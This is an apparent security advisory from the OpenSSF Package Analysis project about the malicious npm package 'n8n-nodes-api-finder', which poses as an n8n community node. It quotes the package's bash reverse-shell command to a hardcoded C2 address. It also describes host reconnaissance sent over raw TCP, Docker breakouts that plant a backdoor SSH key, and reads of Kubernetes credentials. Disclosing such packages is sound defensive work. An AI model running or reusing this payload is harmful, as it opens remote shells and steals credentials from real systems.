MAL-2026-10774 Malicious code in n8n-nodes-api-finder (npm)

Package advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3<>/dev/tcp/103.27.109.184/8895; bash -i <&3 >&3 2>&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged –pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).

The OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.